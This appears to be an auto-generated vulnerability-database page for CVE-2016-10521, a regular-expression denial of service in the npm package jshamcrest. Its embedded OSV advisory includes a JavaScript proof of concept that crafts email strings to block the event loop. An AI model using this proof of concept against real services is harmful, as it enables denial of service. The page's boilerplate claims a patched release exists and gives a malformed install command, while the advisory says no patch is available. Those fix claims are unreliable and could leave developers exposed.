CVE-2016-10521: Jshamcrest Denial of Service Vulnerability
HIGHCVE-2016-10521 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Jshamcrest libraries in the npm ecosystem. The issue involves regular expression denial of service in jshamcrest. Remediation is available in the latest vendor maintenance releases.
CVE-2016-10521 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2016-10521
To remediate this vulnerability, upgrade all affected Jshamcrest dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install jshamcrest@Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls jshamcrest
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2016-10521, inspect your project dependencies using npm:
npm ls jshamcrest
Analyze the terminal output to locate any version of Jshamcrest in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: The npm ls jshamcrest command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Jshamcrest, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2016-10521 Affected Jshamcrest Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
jshamcrest
|
npm |
≤ 0.7.1
|
|
References
Frequently Asked Questions
What is CVE-2016-10521?
Which Jshamcrest versions are affected?
What version fixes CVE-2016-10521?
Is jshamcrest affected?
What is the CVSS score of CVE-2016-10521?
What CWE is associated with CVE-2016-10521?
How can I check npm dependencies for CVE-2016-10521?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-xj62-87pg-vcv3",
"modified" : "2023-09-13T22:47:33Z",
"published" : "2019-02-18T23:38:51Z",
"aliases" : [ "CVE-2016-10521" ],
"summary" : "Regular Expression Denial of Service in jshamcrest",
"details" : "The `jshamcrest` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in to the emailAddress validator.\n\n\n## Proof of concept\n\n```js\nvar js = require('jshamcrest')\nvar emailAddress = new js.JsHamcrest.Matchers.emailAddress();\n\n\nvar genstr = function (len, chr) {\n var result = \"\";\n for (i=0; i<=len; i++) {\n result = result + chr;\n }\n\n return result;\n}\n\n\nfor (i=1;i<=10000000;i=i+1) {\n console.log(\"COUNT: \" + i);\n var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{'\n console.log(\"LENGTH: \" + str.length);\n var start = process.hrtime();\n emailAddress.matches(str)\n\n var end = process.hrtime(start);\n console.log(end);\n}\n```\n\n### Results\nIt takes about 116 characters to get a 1.6 second event loop block.\n```\n[ 1, 633084590 ]\nCOUNT: 51\nLENGTH: 116\n```\n\n# Timeline\n- October 25, 2015 - Vulnerability Identified\n- October 25, 2015 - Maintainers notified (no response)\n\n\n## Recommendation\n\nThe `jshamcrest` package currently has no patched versions available.\n\nAt this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.](https://www.npmjs.com/search?q=validator).",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "jshamcrest"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "0.7.1"
} ]
} ]
} ],
"references" : [ {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2016-10521"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-xj62-87pg-vcv3"
}, {
"type" : "WEB",
"url" : "https://www.npmjs.com/advisories/53"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2020-06-16T22:03:34Z",
"nvd_published_at" : null
}
}